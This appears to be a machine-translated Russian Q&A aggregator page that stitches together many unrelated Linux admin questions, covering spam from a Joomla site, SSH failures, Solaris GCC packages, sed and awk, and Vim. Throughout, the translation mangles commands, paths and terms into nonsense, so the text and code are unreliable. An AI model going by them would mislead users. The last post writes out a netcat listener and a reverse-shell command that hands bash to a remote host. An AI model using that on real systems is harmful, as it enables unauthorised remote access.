Как остановить получение спама с сервера

У меня CentOS и хостинг-провайдер предоставил мне панелью управления Plesk.

У нас была проблема, что сайт был посылать огромное количество спам-писем.

Это был новый Joomla, которая установлена и у него есть уязвимые точки, мы пытались исправить это, но было не легко, я пытался установить 'параллели премиум исходящей нежелательной почты, нажав "установить" в панель Plesk все началось, но в какой-то момент перестал с ошибкой, не могу вспомнить, что это было, но начали рассылать электронные письма с информацией о нем.

Вот содержание письма, которое я получаю:

Привет. Это позволяет-отправить программу на почту.thecanvasprintstudio.ко.Великобритания`.
Я боюсь, что я не смог доставить ваше сообщение по следующим адресам.
Это постоянная ошибка; я сдалась. К сожалению это не сработало.

<[email protected]>:
Не удается переслать сообщения: почтовый сервер постоянно отклонил сообщение (#5.3.0).

--- Ниже этой линии-это копия сообщения.

Обратный адрес: <[email protected]>
Получил: (qmail и 1501 вызывается жидкости 100); 23 июня 2016 10:00:07 +0100
Дата: 23 Июня 2016 10:00:07 +0100
Идентификатор: <[email protected]>
От: [email protected] (Демон cron)
К: [email protected]
Тема: хрон <файл [email protected]почты> /opt/drweb/update.pl
Содержимое-тип: текст/равнина; кодировка=кодировка UTF-8
Авто-опубликовано: автоматически
Х-хрон-ОКР: <оболочка=/Бен/ш>
Х-хрон-ОКР: <дома=в/var/DrWeb в>
Х-хрон-ОКР: <путь=/usr/Бен:/ОГРН>
Х-хрон-ОКР: <параметр logname=файл DrWeb>
Х-хрон-ОКР: <пользователь=файл DrWeb>

Доктор Веб (Р) подробности обновления:
Сервера обновлений: http://update.msk.drweb.com/unix/500
Обновление началось в Чт июн 23 10:00:01 2016
Обновление закончено Чт июн 23 10:00:07 2016

Следующие файлы были обновлены:
в /var/DrWeb/также основания/drwtoday.ВДБ
в /var/DrWeb/также основания/dwntoday.ВДБ
в /var/DrWeb/также основания/dwrtoday.ВДБ
в /var/установки/обновления/метка

Как прекратить посылать мне письма или спам или уведомления? Любая помощь, пожалуйста?

+297
Craft Extreme 2 дек. 2014 г., 10:30:58
39 ответов
для egrep "^[а-я]" файл | необходимо вставить символ -С "в\B[а-Яа-я]{5,10}\б"

Кстати вопрос теперь, это означает, отфильтровать строки, начинающиеся с большой буквы (как эта строка) [строка должна начинаться с большой буквы - не то слово], и включать в себя слова (не обязательно первое слово), который составляет от 5 до 10 символов.

Да, после прочтения оригинальный вопрос, есть 4 возможности ее интерпретации: стартовая слово, чтобы исполнить оба требования или это-запуск программы Word и еще одно слово, и: узнать номера строк, или количество линий.

Напечатать номера строк для строк, которые начинаются с буквы, содержать и слова где-то длиной 5-10, мы используем СЭД:

СЭД -НР '/^[а-я][а-Z]{4,9}/=;/^[а-Z].*\Б[а-Яа-я]{5,10} файл\б/=' 
+977
Yogeshwar 03 февр. '09 в 4:24

Я написал небольшой Java-сервлета и, чтобы запустить его, приобрел VPS, который работает под управлением CentOS 5. Теперь, для того, чтобы запустить его, я думаю, первое, что нужно сделать, это установить последнюю версию JRE. У меня есть доступ по SSH и погуглил в интернете уроки о том, как установить Java через SSH, но большинство из них очень старые, неработающие ссылки, или очень запутанной.

Кто может дать простая пошаговая инструкция о том, как установить последнюю версию JRE через SSH?

+973
Wayne Weeks 12 февр. 2019 г., 08:56:27
Другие ответы

Связанные вопросы


Похожие вопросы

В чем именно тут вопрос?

Вы должны добавить какую-то деталь на ваш вызов образец по rsync , чтобы получить любую реальную помощь. Я использовал rsync на долгие годы без проблем. Я думаю, что это с уверенностью сказать, что какой-либо очевидной коррупции из-за неправильного использования этого универсального инструмента. Если не пройдет , как rsync пропускает, основанные на время модификации и размер. Даже если вы проходите , rsync и не обновлять, если вы тоже проходили и файл новее на приемнике. Если вы проходите --на месте, rsync для обновления назначения файлы на месте. Я просто привожу эти примеры, чтобы показать, что есть много взаимодействий между вариантами по rsync , и вы действительно должны добавить детали о том, как вы вызываете при помощи rsync.

Я могу понять, файл становится коррумпированной, если она записана во время синхронизируется, но я не думаю, что это записывается.

А не гадать, как насчет бега с inotify (например, на содержащий каталог файлов), чтобы определить, что файл обновляется только одним процессом в любой момент?

+970
Saam 29 мар. 2013 г., 12:53:40

Я пыталась получить гостевую систему Linux на базе XenServer 7.5.

Вот это последовательность команд, которые я бежал, не получаете любые ошибки, кроме когда я запускаю виртуальную машину, это не кажется, чтобы быть в состоянии загрузить изображения.

ВМ-установите Хе шаблон="в CentOS 7" Новый-имя-лейбл=в CentOS-7-11

ВМ-парам-набор-Хе идентификатор UUID=ebf31974-e3d8-46f6-d895-b3104634d25d \
другие конфигурации:установка-хранилище=HTTP://в репо-Техас.psychz.сеть/ОС CentOS/7/ОС/x86_64 с/

сеть-список-Хе моста=e9b7b721-68c6-57f1-2c42-04fc672e1a3e --минимальный

Хе Виф-создать ВМ-идентификатор UUID=ebf31974-e3d8-46f6-d895-b3104634d25d \
 сеть-идентификатор UUID=e9b7b721-68c6-57f1-2c42-04fc672e1a3e Мак=случайное устройство=0

ВМ-начала Хе идентификатор UUID=ebf31974-e3d8-46f6-d895-b3104634d25d

Гость жалуется, что не находит загрузочного устройства.

+958
mike brentlinger 16 авг. 2014 г., 16:36:53
  1. Пара ключей не связана с вами как пользователь или ваша машина. Представьте себе, что ключи от своего похищенного дома. Ключи не привязаны к вам, кто может использовать их, чтобы разблокировать двери. Точно таким же образом, если я получить мои руки на свой закрытый ключ, я могу использовать его, чтобы внести изменения в свои репозитории на GitHub.
  2. Если вы хотите получить доступ к вашим хранилищам, используя как свой новые ключи и старые, вы должны убедиться, что публичных ключей для обеих пар ключей загружены на GitHub. Если гитхаб только ваш новый ключ, он не может пройти проверку подлинности, если вы используете ваш старый ключ пары.
  3. Да, ключи будут меняться. Это своего рода точки. Представьте, что вы купили новый замок для вашей двери. Если ваши старые ключи такие же, как и новые, это не принесет вам никакой пользы, ЭСП. если ты меняешь замки, потому что кто-то украл твой старый ключ. Если вы были, чтобы иметь один из ваших компрометации ключей SSH, вы могли бы просто генерировать новые ключи и загрузить соответствующие открытые ключи на GitHub после удаления старых. Вы также можете иметь несколько пар ключей. Создать столько, сколько вы хотите, и использовать их для разных целей. Это похоже на то, несколько ключей для нескольких замков в вашем доме.

Также никогда не отдать свои личные ключи. Закрытый ключ используется для аутентификации вас как человека. Если я доберусь до вашего закрытого ключа, я могу притворяться вы. Гитхаб не могу сказать разницу. Никто кроме вас не должен знать, что ваш закрытый ключ. Если вы загрузили ваш закрытый ключ где-то, я рекомендую удалить его, создавая новую пару & загрузке нового открытого ключа на всякий случай.

Подробнее о криптографии с открытым ключом здесь.

+953
glipp 9 янв. 2018 г., 01:45:19

Я столкнулся с проблемой с СШ после свежего Убунту 13.10 установка на Lenovo t420 имеет. Я пробовал ГИТ тянуть (что не удалось), и это привело меня к более общим СШ неудачу.

После 2-3 часов прекрасным воскресным утром я установил:

  1. СШ имеет возможность проходить проверку подлинности. смотрите лог ниже. Также телнет google.com 80 зависает на подключении.
  2. Я могу подключиться с помощью шпатлевки - показывает motd и подскажут
  3. Он не работает на обоих проводных и беспроводных подключений, также я пробовал сотовой сети.
  4. Я могу успешно войти на localhost

вот такой журнал:

debug1: успешная аутентификация (клавиатура-интерактивный).
Аутентифицироваться web1.mydevil.net (через прокси).
debug1: канал 0: новый [клиент-сессии]
debug1: запрос [email protected]
debug1: введя интерактивный сеанс.
debug1: отправка среды.
debug1: отправка ОКР LC_PAPER = pl_PL.В UTF-8

а потом просто продолжает посылать

debug1: client_input_channel_req: канал 0 rtype [email protected] ответ 1

не показывая мне приглашение, и в конце концов отключается.

Я узнал, что телнет google.com 80 зависает на подключении <IP-адрес>... , а также.

+950
user984464 4 мая 2012 г., 22:39:56

Недавно я купил новый ноутбук будет использоваться для научных исследований, когда я дома. Машина имеет процессор Intel i7 с 8 ядрами, 4 ГБ оперативной памяти и графической картой от NVIDIA (2 ГБ, габариты). Программ мне больше всего нужна для вычислений в MATLAB и Python.

Я пытался установить Ubuntu (версии 12.10 и 13.04) и они оба медленно. Когда MATLAB использует 1 ядро 100%, вся ОС просто зависает. Ничего не может сделать в то же время. Кроме того, графическая карта явно не использовали весь свой потенциал (я либо использовать и optirun или дать флаг DRI_PRIME при запуске программы) и не используется в единстве.

Какой-либо другой ОС быть лучше, чем Ubuntu для моих целей? Кроме того, как я мог посвятить несколько ядер ОС, несколько в MATLAB/Python и несколько других программ (хром, обмен сообщениями, латекс и т. д.)

(Я задавал этот вопрос раньше в https://serverfault.com/questions/508264/best-linux-distribution-for-scientific-computingоднако, было указано, это был неправильный сайт).

+868
Rui Nunes 24 февр. 2011 г., 14:53:45

Когда можно создать 1 или 2 буквы аббревиатуры для псевдонимов и тому подобное, например, Х для выхода или П для инвалидов в командной строке.

При использовании Vim и делаю несколько вкладок для разных файлов (которые можно переключать с ГТ или ГТ кстати) я могу изменить дополнительный файл с :табе именем , которая также создает новую вкладку.

Есть ли ярлык или есть ли способ, чтобы создать одну (возможно, с помощью .файл vimrc?) что-то вроде :та или :ТБ или :ТТ или :ТЗ и т. д.

+858
ivant 12 апр. 2018 г., 06:36:45

Я сделал это так и это работает найти . -имя '*.ш' -печать | ООО с/[.]//Г' | Е С/[/]//Г' | Е С/Ш//' и это работает.

+813
Avi J Hyman 16 дек. 2015 г., 07:56:22

Замена одной подстроки другой четко работа для СЭД. Если вы хотите его в awk, я предполагаю, что вы хотите сделать некоторые дополнительные обработки на awk. Чтобы сделать это, вы должны просто использовать регулярное выражение разделитель поля:

на awk -е'(**| )' '{.вы здесь код.; печать $10}'
+789
spydon 31 янв. 2018 г., 17:21:34

Я хочу, чтобы измерить время загрузки жратвы, пока не начинает гном. Я могу сделать это с помощью существующих журналов?

Какие альтернативы у меня есть, чтобы измерить время, которое требуется от жратвы до гнома нагрузок?

+789
Toast whatsapp 3 мар. 2019 г., 20:20:51

я обнаружил, что если мое подключение к интернету отключается во время сеанса SSH к удаленному серверу Linux, и потом восстановить за короткое время SSH-сессии до сих пор жив.

Если я запускаю программу на сервере и перенаправить stdout и stderr выводит в файл, временное отключение интернета не похоже, чтобы остановить выполнение программы.

Но отключение не влияет на содержание файл? Я думал, что это не. Я нашел содержимое файла не повторимый, когда reruning программы без перерыва в мое подключение к интернету, но я не уверен, если прерывание подключения к интернету является причиной.

+717
nicoxss 15 дек. 2011 г., 20:02:26

У Kali NetHunter Linux-это, вероятно, самая близкая вещь вы собираетесь найти.

Kali Linux NetHunter for Nexus

https://www.kali.org/kali-linux-nethunter/

+661
Anthony Ho 18 нояб. 2010 г., 03:44:46

У меня есть журналы в формате: ГГГГММДД

Я хочу сжимать старые журналы (старше текущего дня) и может переместить их в другую потом каталог.

Я могу сделать это у logrotate, или я должен использовать пользовательский скрипт в cron?

+659
CodeWriter23 17 июн. 2011 г., 16:41:24

Предполагая, что вы используете xfwm, по умолчанию оконный менеджер для Xfce, затем вы можете получить доступ к настройки через Xfconf-запроса.

Например, чтобы получить список всех свойств в панели, можно использовать:

xfconf-запрос -с xfce4-панели -л

Есть список примеров на странице проекта.

По Арч Вики, вы можете также запустить xfce4-клавиатура-настройки управления клавиш.

+637
bobbyrne01 18 июн. 2014 г., 14:59:51

Я бы хотела настройке RAID 1 два диска в Linux. У меня нет аппаратных RAID-контроллеров и не хочу, чтобы купить один, так что самый лучший вариант программного RAID в Linux?

Примечание: если он делает различие, я бегу в Gentoo.

+618
Syncopated 28 нояб. 2015 г., 03:13:50

После фотосессии у меня есть две папки: в формате JPG (файлы *.JPG) и в RAW (файлы *.Файлов CR2). Обычно я смотрю в папке в формате JPG и удалить те, что мне не нравится.

Я хочу создать bash-скрипт для проверки:

 для файла.CR2 в папку.заражен
 если file.jpg не в папку2.заражен 
 удалить файл.файлов CR2

Я видел некоторые примеры с rsync, но файлы с таким же расширением и я не очень хорошо на баш, так что я могу сделать это в C, но я хочу учиться.

+608
lanigan 2 апр. 2011 г., 18:12:17

ТЛ;ДР:

# ПКГ изменения фасеток \
 версия-замок.система/библиотеки/ОКС/ОКС-с-среда=ложь \
версия-замок.система/библиотеки/ОКС/ОКС-с++-среда=ложь

и попробуйте снова.

Поэтому вопрос заключается в том, что Оук-5 является то, что известно как "групповые" пакет. То есть, она состоит (по крайней мере в первую очередь) куча групповой зависимости. Есть группа зависимостей, которая будет установлена, если это возможно, но игнорируется, если не. В данном случае, это не возможно, чтобы установить один или более из зависимостей Оук-5, поэтому они были проигнорированы, и вы в конечном итоге с меньше, чем вы ожидали.

Когда это произойдет (Будет ли это меньше пакеты, или пакеты по другой версии), первое, что вы должны сделать, это сказать ПКГ , что вы на самом деле ожидать. (Теперь, отсоедините вот как узнать, чего ожидать; не зная, как проверить Оук-5 за эту информацию, или даже зная, что возможно, я не знаю, что ответить.) В данном случае, выбрать один из его зависимостей, чтобы увидеть, если это помогает, скажем, ССЗ-с-5 (вы выполнили этот шаг для НКУ-с++-5, у вас такая же проблема, как я показываю здесь, но я хотел поставить все это вместе в один ответ). Это говорит ПКГ не игнорировать свою неспособность установить ССЗ-с-5, но на самом деле жалуются подробно о том, почему он не мог быть установлен. Надеюсь будет что-то в выходной, чтобы дать нам понятия о том, что делать дальше:

# установить -НВ ПКГ Оук-5 ССЗ-с-5
Создание плана (настройка решателя): |
ПКГ установить: не соответствие версии разработчик/Оук-5 может быть установлен:
 Отклонить: pkg://solaris/developer/[email protected]
 Причина: нет версия логической "группа" зависимость разработчик/ССАГПЗ/на gcc-c++и -5 может быть установлен
----------------------------------------
 Отклонить: ПКГ://Солярис/разработчик/ОКС/ОКС-с [email protected]++
 Причина: не соответствие версии требуют зависимость разработчик/ОКС/ОКС-с-5 может быть установлен
----------------------------------------
 Отклонить: pkg://solaris/developer/gcc/[email protected]
 Причина: нет версия комбинационной 'требуют' зависимости системы/библиотека/ОКС/ОКС-с[email protected],5.11-5.12.0.0.0.115.0 может быть установлен
----------------------------------------
 Отклонить: ПКГ://Солярис/система/библиотеки/компилятора GCC и gcc-c++-файлы [email protected]
 Причина: не соответствие версии 'требуют' зависимость system/library/gcc/[email protected],5.11-5.12.0.0.0.115.0 может быть установлен
----------------------------------------
 Отклонить: pkg://solaris/system/library/gcc/[email protected]
 Причина: эта версия исключена установленная регистрации consolidation/userland/[email protected]
----------------------------------------
 Причина: эта версия исключена установленная регистрации consolidation/userland/[email protected]
----------------------------------------
----------------------------------------
----------------------------------------
Не соответствуя версия разработчик/ОКС/ОКС-с-5 может быть установлен:
 Отклонить: pkg://solaris/developer/gcc/[email protected]
 Причина: [уже отвергли; см. выше]

Когда вы получаете беспорядок, выход решателя, как это, как правило, требуется искать самые глубокие-с отступом вопрос и посмотреть, если вы можете исправить это. В этом случае, вы видите, что это не удается установить [email protected] потому что он исключен установленное включение.

Возможно, это отступление необходимо: что такое инкорпорация? Как группа пакета, это пакет, который в первую очередь обеспечивает зависимостей, в данном случае, включение зависимостей. Эти зависимости никогда не вызывают пакеты должны быть установлены; они просто накладывать ограничений на пакеты, которые могут быть установлены. В частности, включение [email protected] означает, что если ФОО установлен, он должен быть в версии диапазон [1.2, 1.3); то есть, не менее 1.2 (включительно), и максимум 1.3 (эксклюзив), или то, что соответствует 1.2.х.г.з.....

В этом случае включение и загрузка-включение с уже установленной системе поставил ограничение на ССЗ-с-среды , что несовместимо с версией компилятора gcc-c # выполнения , что установка ССЗ-с-5 требуется.

Вот где мы сталкиваемся с одной из странностей программы оценки Солярис Фосс. Пакеты там не очень хорошо интегрированные с остальной частью системы; они предназначены для установки на новую версию операционной системы Solaris. Но они были построены таким образом, что система может, по крайней мере, быть в здравом уме массируется, чтобы он разрешил им быть установлено. В этом случае, вы должны изменить несколько аспектов.

Большинство Фосс пакеты в Солярис включены таким образом, что ограничение поставлено, что включать зависимостей могут быть смягчены. Вы можете сделать это путем изменения фасеточных названа версия-замок.<ПКГ-имя> на ложные. В данном случае, ССЗ-С-время выполнения и на gcc-c++для выполнения двух пакетов блокирование установки, так (как выше):

# ПКГ изменения фасеток \
 версия-замок.система/библиотеки/ОКС/ОКС-с-среда=ложь \
версия-замок.система/библиотеки/ОКС/ОКС-с++-среда=ложь

Это даст немного объема, но не казалось бы многое сделать. Как только это сделано, однако, мы можем снова попробовать:

# установить -НВ ПКГ Оук-5 ССЗ-с-5
 Пакеты для установки: 20
 Пакеты обновления: 2
 Посредники изменить: 1
 Услуги по изменению: 1
 По оценкам доступное пространство: 8.54 ГБ
По оценкам пространство для потребления: 1.49 ГБ
 Создание загрузочной среды: нет
Создать резервную копию загрузочной среды: да
 Восстановить загрузочный архив: нет

Изменен посредников:
 посредник ССЗ:
 версия: Нет -> 5 (система по умолчанию)

Измененные пакеты:
Солярис
разработчик/ассемблер
 Нет -> 0.5.11,5.11-0.175.3.9.0.2.0:20160528T012706Z
разработчик/Оук-5
 Нет -> 5.4.0,5.12-5.12.0.0.0.115.0:20170111T170530Z
разработчик/ОКС/ОКС-с++-5
 Нет -> 5.4.0,5.12-5.12.0.0.0.115.0:20170111T164822Z
разработчик/ОКС/ОКС-с-5
 Нет -> 5.4.0,5.12-5.12.0.0.0.115.0:20170111T165027Z
разработчик/ОКС/ОКС-общий-5
 Нет -> 5.4.0,5.12-5.12.0.0.0.115.0:20170111T165220Z
разработчик/ССАГПЗ/на GCC-компилятором gfortran-5
 Нет -> 5.4.0,5.12-5.12.0.0.0.115.0:20170111T165431Z
разработчик/ОКС/ОКС-gobjc-5
 Нет -> 5.4.0,5.12-5.12.0.0.0.115.0:20170111T165624Z
разработчик/гну-пакета binutils
 Нет -> 2.23.1,5.11-0.175.3.0.0.30.0:20150821T164528Z
библиотека/ГМП
 Нет -> 4.3.2,5.11-0.175.3.0.0.30.0:20150821T165358Z
библиотека/исл
 Нет -> 0.12.2,5.12-5.12.0.0.0.115.0:20170111T171737Z
библиотека/МДК
 Нет -> 0.9,5.11-0.175.3.0.0.30.0:20150821T165558Z
библиотека/mpfr
 Нет -> 2.4.2,5.11-0.175.3.0.0.30.0:20150821T165559Z
выпуск/оценка
 Нет -> 1.0,5.12-5.12.0.0.0.115.0:20170111T175931Z
/заголовок системы
 Нет -> 0.5.11,5.11-0.175.3.19.0.2.0:20170328T014052Z
система/библиотеки/компилятора GCC и gcc-c++для среды выполнения-5
 Нет -> 5.4.0,5.12-5.12.0.0.0.115.0:20170111T181800Z
система/библиотеки/ОКС/ОКС-с-время выполнения-5
 Нет -> 5.4.0,5.12-5.12.0.0.0.115.0:20170111T181840Z
система/библиотеки/ССАГПЗ/на GCC-компилятором gfortran-выполнения
 Нет -> 4.8.2,5.11-0.175.3.0.0.30.0:20150821T172507Z
система/библиотеки/ССАГПЗ/на GCC-компилятором gfortran-время выполнения-5
 Нет -> 5.4.0,5.12-5.12.0.0.0.115.0:20170111T181902Z
система/библиотеки/ОКС/ОКС-gobjc выполнения
 Нет -> 4.8.2,5.11-0.175.3.0.0.30.0:20150821T172513Z
система/библиотеки/ОКС/ОКС-gobjc-время выполнения-5
 Нет -> 5.4.0,5.12-5.12.0.0.0.115.0:20170111T181919Z
система/библиотеки/компилятора GCC и gcc-c++для среды выполнения
 4.8.2,5.11-0.175.3.0.0.30.0:20150821T172447Z -> 5.4.0,5.12-5.12.0.0.0.115.0:20170111T181825Z
система/библиотеки/ОКС/ОКС-с-выполнения
 4.8.2,5.11-0.175.3.0.0.30.0:20150821T172458Z -> 5.4.0,5.12-5.12.0.0.0.115.0:20170111T181848Z

И вуаля, мы получили кучу установленные пакеты, которые содержат вещи. Отсюда, вы должны теперь быть в состоянии типа НКУ --версии и увидите, что это действительно 5.4.0. Отметим также, что два пакета грани которого мы разблокирован получили повышен, возможность доступны после разблокировки.

Вы спросите, почему мы не должны раскрыть любой другой грани. Причина в том, что ОС Solaris 11.3 не доставит ССЗ 5, так и не доставит каких-либо ограничений по ее версии пакета. Так что все Оук-*-5 пакетов уже непринужденно, и не должен быть разблокирован для того, чтобы расслабить ограничения.

Можно заметить, что на GCC-компилятором gfortran-выполнения и ССЗ-gobjc-во время выполнения пакетов был установлен на 4.8 версии. Это потому, что они по-прежнему ограничены, но мы ничего не сделали в противоречии с теми ограничениями. Для единообразия, вы, вероятно, должны разблокировать их, а затем обновить их до 5.х версии (или, если вы получили это далеко, прежде чем пытаться ничего, просто открыть их с самого начала).

+536
BillGates 1 дек. 2012 г., 14:41:51

Обычно у меня мой А , и т. д. имитируя буквы диска Windows использует для них. Я, как правило, имеют несколько жестких дисков и разделов, и это помогает мне следить за ними.

+503
user218408 10 нояб. 2016 г., 21:17:22

ens33 мой хозяин сетевая карта,это показывают нормальный номер, как и мой статус использовать сеть,но я не знаю, почему мой модем показывают очень маленький трафик на всех интерфейсах модема для загрузки на хост.

Мой хозяин:

$ кот /труды/нетто/Дев
Интер-| Прием | Передача
 лицо |байт пакеты ошибается падение ФИФО кадр сжатый многоадресного|байт пакеты ошибается падение ФИФО перевозчик кольс сжатого
 Ло: 29814737 43314 0 0 0 0 0 0 29814737 43314 0 0 0 0 0 0
 ppp0: 466128413 324635 0 0 0 0 0 0 9899183 172128 0 0 0 0 0 0
 ens33: 527070502 406968 0 0 0 0 0 0 23141644 246355 0 0 0 0 0 0
$ 

Мой оптический модем:

ШАП(Dopra Линукс) # кот /труды/нетто/Дев
Интер-| Прием | Передача
 лицо |байт пакеты ошибается падение ФИФО кадр сжатый многоадресного|байт пакеты ошибается падение ФИФО перевозчик кольс сжатого
 Ло: 191600 1304 0 0 0 0 0 0 191600 1304 0 0 0 0 0 0
 интерфейс eth0: 454167 5058 0 0 0 0 0 0 1369093 6227 0 0 0 0 0 0
 br0: 357095 4935 0 0 0 0 0 136 1244249 4036 0 0 0 0 0 0
 порт WAN1: 0 0 0 0 0 0 0 0 89976 1956 0 0 0 0 0 0
 порт wan2: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
 wan3: 0 0 0 0 0 0 0 0 3672 102 0 0 0 0 0 0
ШАП(Dopra Линукс) # 
+475
sharkguto 11 янв. 2015 г., 14:13:50

Первый-это выход из пространства за один ПИД показывает открытые сетевые подключения:

как lsof -п 3075 -а-я ПТС

Второй дополнительный из журнала веб-сервера, он представляется в форме:

клиент-IP-адрес хост-имя Ури-путь

Вы можете получить Apache, чтобы войти непосредственно в этот формат с CustomLog и/или LogFormat:

LogFormat "%в %В %у"

хотя это почти наверняка команда grep | awk и (или эквивалента) из более комплексный формат журнала.

+456
Dorestant Joffrey 4 окт. 2018 г., 01:57:26

Единственная причина, когда-либо использовать VI по Vim-это когда у тебя нет другого выбора.

Есть множество причин, почему Vim расшифровывается как "ви улучшилось"!

Заимствования из связанного пост я ответил:-

  1. Несколько окон - горизонтальные, вертикальные и вкладок.
  2. Визуальное выделение.
  3. Онлайн помощь через командой :Help.
  4. Запись макросов в реестр, который потом можно выполнять.
  5. Отменить (и повтор) несколько раз, а не старый ви сумасшедший отменить тумблер.
  6. История командной строки, история поиска.
  7. Весь язык внедренные наряду с множеством существующих функции, например, функция getcwd()
  8. Значительно расширен сопоставление с образцом.
  9. Завершение слов через Ctrl-P и Ctrl и-Н.
  10. Встроенный файловый навигатор (немного неуклюжим, но может быть полезно).
  11. Клавиша ESC завершает работу команды на самом деле вы пытались, ну, побег из вместо (безумно) их, как ви тут.
  12. Возможность выполнения команд на всех буферов, аргументы или Windows через bufdo, argdo & б.
+422
Peter Szombathelyi 22 нояб. 2013 г., 00:24:00

Кажется, что вам нужно открыть Пти. Вы можете попробовать сокат:

Эхо перевал | сокат - exec:su.sh,Пти,поток stderr,Су=С3,ctty

Таким образом, пароль не в аргументах командной строки, которая могла бы стать проблема безопасности.

Лучшим вариантом будет изменить su.sh в том смысле, что он не нужен пароль больше.

+416
user857813 3 мар. 2015 г., 15:45:37

Сырая версия:

[ ${ЛСОВ:0:6} = "/домашнее/" ]

Имеет тот недостаток, что для подсчета количества символов и не может заменить /домой/ что-то общее, как $1.

редактировать (спасибо @Майкл) для обобщения сравнить с $Вар можно использовать

[ "${PWD ДЛЯ:0:${#ВАР}}" = $ВАР ]
+338
Dmitry Kotov 15 сент. 2015 г., 11:28:03

Я не могу по SSH к своему серверу с одним из моих установок Ubuntu, но если я использую другой установки Ubuntu или Windows ОС подключении с помощью SSH работает ровно.

Так что что-то сломалось в одном из моих установки Ubuntu и я борюсь, чтобы найти точную проблему.

Я пробовал переустановить через SSH/OpenSSH-это клиент/пакет OpenSSH-/СШ.

Вот несколько строк из подробного вывода :

по SSH имя_пользователя@MYSERVERADDRESS -в
debug1: в публичный ключ RSA: /главная/пользователя/.по SSH/id_rsa
debug1: сервер принимает ключ: pkalg СШ-РСА м 279
debug1: успешная аутентификация (открытый ключ).
Проверку подлинности на сервере myserver ([MYSERVERADDRESS]:22).
debug1: канал 0: новый [клиент-сессии]
debug1: запрос [email protected]
debug1: введя интерактивный сеанс.
debug1: залог: сеть
packet_write_wait: подключение к MYSERVERADDRESS порт 22: сломанные трубы

Пробовал много разных решений от погуглить, но не сработало. Удаляются .каталог СШ, удалили файл /etc/СШ/файле ssh_config (она автоматически создается со значениями по умолчанию).

Еще одна информация о том, что проблема не на стороне сервера, как я могу по SSH к серверу используя другую ОС и сети.

Обновление :

  1. Отключен брандмауэр

  2. Сервер размещенного в облаке

  3. У меня 3 разных машины с двойной загрузки Windows и Linux.

  4. СШ прекрасно работает на всех машинах кроме одной, в которой Linux-это тревожный связи, и в одной машине с помощью Windows все работает штрафы.

  5. Более четкое представление о пункте 4 : в общей сложности 3 машины каждого загруженного с Linux и Windows (двойной загрузки), и только одна машина во время работы с Linux возникают проблемы с SSH.

Дайте мне знать, если вам нужно больше информации от меня (кроме адреса сервера и имени пользователя).

+305
Graham Malmgren 9 сент. 2011 г., 13:23:23

Так что я использую Линукс Минт на некоторое время теперь. Несколько месяцев назад моей оболочки GNOME разбился, и я был не в состоянии использовать все функции 3D и загружается только в резервном режиме. С этого дня (около 2 месяцев назад) я еще только в резервном режиме (GNOME и корицы). Я установил Линукс Минт Майя, и Ubuntu 12.04 как файл Windows и полная установка на внешний жесткий диск. и много раз я sitll не может исправить эту проблему. P. S. Я убедился, скачать все драйверы для моей графической карты. в чем может быть проблема?

+302
aatif zaidi 23 авг. 2016 г., 12:25:04

Чтобы увидеть, какие модули ядра загружены используйте lsmod выводит команду.

Вы можете использовать команду grep , чтобы перенаправить вывод lsmod выводит в фильтр что-то более желанное.

например

# lsmod распечатывает | грэп чистая
vhost_net 24576 10
файл vhost 45056 1 vhost_net
нажмите 24576 1 vhost_net

Этот узел использует vhost_net модуль ядра - у меня есть 10 адаптеров, настроенных, вывод ifconfig, которые перечислены 10 адаптеров виртуальной сети. В 10 в lsmod распечатывает | грэп выход, сколько раз модуль ядра используется.

+295
Snowly 1 авг. 2019 г., 04:38:50

Одна вещь, я нашел smbtree в качестве эквивалента за чистый вид.

+238
seerd 12 июл. 2012 г., 10:06:10

работал после установки vncviewer и запуск приложения vncviewer localhost в:5901

+228
Johannes Thorn 1 дек. 2019 г., 23:28:57

@ТКО сделал хорошую работу, объясняя свой 2-й вопрос, и некоторые из ваших 1-й:

Б) предложить какие-либо относительно простых способов, чтобы обрести какую-либо форму контроля, чтобы (как минимум) сохранить вкладки у меня был раздражающе открыт в режиме приватного просмотра?

Поэтому я постараюсь и адрес Ваш 1-ый вопрос немного подробнее:

А) подробно рассказать, в чем государство, более подробно?

Государственного значения СЛ (это строчная L):

 С прерываемый сон (ожидание события завершения)
 L является многопоточным (используя CLONE_THREAD, как и nptl pthreads не делать)

                 lifecycle of process

СОСТОЯНИЕ ПРОЦЕССА КОДЫ
 Р работает или готов к запуску (по очереди)
 Д источник бесперебойного сна (обычно ИО)
 С прерываемый сон (ожидание события завершения)
 З несуществующей/зомби, прекращается, но не получили своего родителя
 Т остановили, либо управления задание сигнала или потому, что
 это прослеживается
[...]

Более подробную информацию можно увидеть в сигнал Man-странице, человек 7 сигнала, а также в этом уроке под названием: Линукс состояний процесса.

+220
Yasir Latif 25 нояб. 2013 г., 21:55:37

Похоже, я не сделал домашнюю работу должным образом, как отметил в комментарии по user996142 это действительно стандартную конфигурацию bind9.

+198
user1695639 7 дек. 2011 г., 18:17:32

У меня две системы на моей машине. Является Ubuntu и другие Linux с нуля (ОРС), который я построил его сам.

Ubuntu имеет систему X окна установлены, но ОРС не имеет никакого оконной системы.

Я изолированной от ОРС (на/dev/sda3 в качестве) с Ubuntu (например, /dev/sda1, поскольку) корневой раздел с помощью следующих команд:

команды mkdir каталог /mnt/sda1, поскольку
крепление-в каталоге /dev/sda1, поскольку в каталог /mnt/sda1, поскольку
крепление-в-привязать /dev каталог /mnt/sda1, поскольку/Дев
Маунт -Вт devpts devpts /шоссе/будут sda1 и/dev/ПЦ -о'гид=5,режим=620
горе -Вт-техн конф в /MNT/sda1, поскольку в/proc
горе -Вт файловой системы файловой системы в каталог /mnt/sda1, поскольку файл/sys
горе -Вт файловая система tmpfs файловой системе tmpfs в /MNT/sda1, поскольку работать
чтение с /dev/sda1, поскольку

После выполнения chroot, я побежал xinit. Начала с оконной системой X, но, видимо, не обнаружив мышь.

В настоящее время я застрял в системе х Window и я ничего не могу сделать. Когда я нажимаю сочетание клавиш Ctrl+АЛТ+Ф1 до Ф6 или сочетание клавиш Ctrl+АЛТ+пробел ничего не происходит. Осложняет дело дальше, прежде чем я сделать chroot, я собирал что-то на другой консоли телетайп и я не хочу потерять эту подборку прогресс с нажимать аппаратную кнопку Перезагрузить.

Есть ли выход из этой ситуации.

+193
Bernig 15 сент. 2012 г., 21:03:57

Как я могу обновить примитивный netcat в консоли для полнофункциональной оболочки с Tab-ом и редактирования строки?

Предположим, что я начинаю удаленного (реверс) оболочки, используя netcat так:

НЦ-ЛВП $порт
НЗ $ИС $порт -е '/Бен/Баш'

